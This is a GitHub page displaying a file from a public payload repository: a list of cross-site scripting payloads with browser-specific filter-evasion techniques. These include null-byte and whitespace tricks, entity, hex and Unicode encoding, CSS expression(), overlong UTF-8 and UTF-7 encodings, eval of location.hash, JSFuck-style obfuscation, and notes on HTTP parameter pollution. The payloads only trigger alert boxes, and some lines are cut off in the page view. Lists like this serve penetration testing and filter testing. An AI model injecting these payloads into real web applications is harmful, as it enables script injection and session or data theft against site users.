foospidy / **payloads**

Watch 92 Star 1,030 Fork 369

Branch: **master** payloads / other / xss / **d3adend.org.txt**

Find file Copy path

foospidy other payload update 7d1f9d3 on Feb 24, 2016

1 contributor

92 lines (83 sloc) 7.96 KB

Raw Blame History

```
<sCrIpt>alert(1)</ScRipt>
<iMg srC=1 lAnGuAGE=VbS oNeRroR=mSgbOx(1)>
<img src='1' onerror\x00=alert(0) />
<img src='1' onerror/=alert(0) />
<img src='1' onerror\x0b=alert(0) />
<img src='1' onerror=\x00alert(0) />
<img src='1' o\x00nerr\x00or=alert(0) />
<\x00img src='1' onerror=alert(0) />
<script\x00>alert(1)</script>
<i\x00mg src='1' onerror=alert(0) />
<img/src='1'/onerror=alert(0)>
<img\x0bsrc='1'\x0bonerror=alert(0)>
<img src='1''onerror='alert(0)'>
<img src='1'"onerror="alert(0)">
<img src='1'\x00onerror=alert(0)>
```

```
<img src='1'onerror=alert(0)>

Prefix URI schemes.
Firefox (\x09, \x0a, \x0d, \x20)
Chrome (Any character \x01 to \x20)
<iframe src="\x01javascript:alert(0)"></iframe> <!-- Example for Chrome -->

<img src='1' onerror='alert(0)' <
<<script>alert(0)</script>
<style>body{background-color:expression\(alert(1))}</style>
<script>document.write('<a hr\ef=j\avas\cript\:a\lert(2)>blah</a>');</script>
<img src="1" onerror="alert(1)" />
<img src="1" onerror="&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;" />
<iframe src="javascript:alert(1)"></iframe>
<iframe src="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;'
<iframe src="javascript:alert(1)"></iframe>
<iframe src="javascript:%61%6c%65%72%74%28%31%29"></iframe>
<div style="x:expression(alert(1))">Joker</div>
<div style="x:\65\78\70\72\65\73\73\69\6f\6e(alert(1))">Joker</div>
<div style="x:\000065\000078\000070\000072\000065\000073\000073\000069\00006f\00006e(alert(1))">Joker</div>
<div style="x:\65\78\70\72\65\73\73\69\6f\6e\028 alert \028 1 \029 \029">Joker</div>
<script>document.write('<img src=1 onerror=alert(1)>');</script>
<script>document.write('\x3C\x69\x6D\x67\x20\x73\x72\x63\x3D\x31\x20\x6F\x6E\x65\x72\x72\x6F\x72\x3D\x61\x6C\x65\x72\x74\x28\x31
<script>document.write('\074\151\155\147\040\163\162\143\075\061\040\157\156\145\162\162\157\162\075\141\154\145\162\164\050\061
<script>document.write('\u003C\u0069\u006D\u0067\u0020\u0073\u0072\u0063\u003D\u0031\u0020\u006F\u006E\u0065\u0072\u0072\u006F\u
<script>document.write('<img src=1 onerror=alert(1)>');</script>
<script>document.write(String.fromCharCode(60,105,109,103,32,115,114,99,61,49,32,111,110,101,114,114,111,114,61,97,108,101,114,1
<script>alert(123)</script>
<script>\u0061\u006C\u0065\u0072\u0074(123)</script>

Overlong UTF-8 (SiteMinder is awesome!)
< = %C0%BC = %E0%80%BC = %F0%80%80%BC
> = %C0%BE = %E0%80%BE = %F0%80%80%BE
```

```
' = %C0%A7 = %E0%80%A7 = %F0%80%80%A7
" = %C0%A2 = %E0%80%A2 = %F0%80%80%A2

<img src="1" onnerror="alert(1)">
%E0%80%BCimg%20src%3D%E0%80%A21%E0%80%A2%20onerror%3D%E0%80%A2alert(1)%E0%80%A2%E0%80%BE

<img src="1" onerror="alert(1)" />
+ADw-img src=+ACI-1+ACI- onerror=+ACI-alert(1)+ACI- /+AD4-
<script>alert(1)</script>
%uff1cscript%uff1ealert(1)%uff1c/script%uff1e
<img src="1" onerror="alert('1')">
%u3008img%20src%3D%221%22%20onerror%3D%22alert(%uFF071%uFF07)%22%u232A
<video src="http://www.w3schools.com/html5/movie.ogg" onloadedmetadata="alert(1)" />
<video src="http://www.w3schools.com/html5/movie.ogg" onloadstart="alert(1)" />
<blah style="blah:expression(alert(1))" />
<div style="z:exp/*anything*/res/*here*/sion(alert(1))" />
<script>window['alert'](0)</script>
<script>parent['alert'](1)</script>
<script>self['alert'](2)</script>
<script>top['alert'](3)</script>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>var junk = '</script><script>alert(1)</script>';</script>
<style>body { background-image:url('http://www.blah.com/</style><script>alert(1)</script>'); }</style>
<?xml version="1.0" ?><someElement><a xmlns:a='http://www.w3.org/1999/xhtml'><a:body onload='alert(1)'/></a></someElement>
<iframe src="javascript:alert(1)"></iframe>
<iframe src="vbscript:msgbox(1)"></iframe> (IE)
<iframe src="data:text/html,<script>alert(0)</script>"></iframe> (Firefox, Chrome, Safari)
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></iframe> (Firefox, Chrome, Safari)

HTTP Parameter Pollution
http://target.com/something.xxx?a=val1&a=val2
ASP.NET         a = val1,val2
ASP             a = val1,val2
```

```
JSP             a = val1
PHP             a = val2

<script>eval(location.hash.slice(1))</script>
<script>eval(location.hash)</script> (Firefox)

http://target.com/something.jsp?inject=<script>eval(location.hash.slice(1))</script>#alert(1)
<iframe src="http://target.com/something.jsp?inject=<script>eval(name)</script>" name="alert(1)"></iframe>
<script>$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+'

<script>(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[
```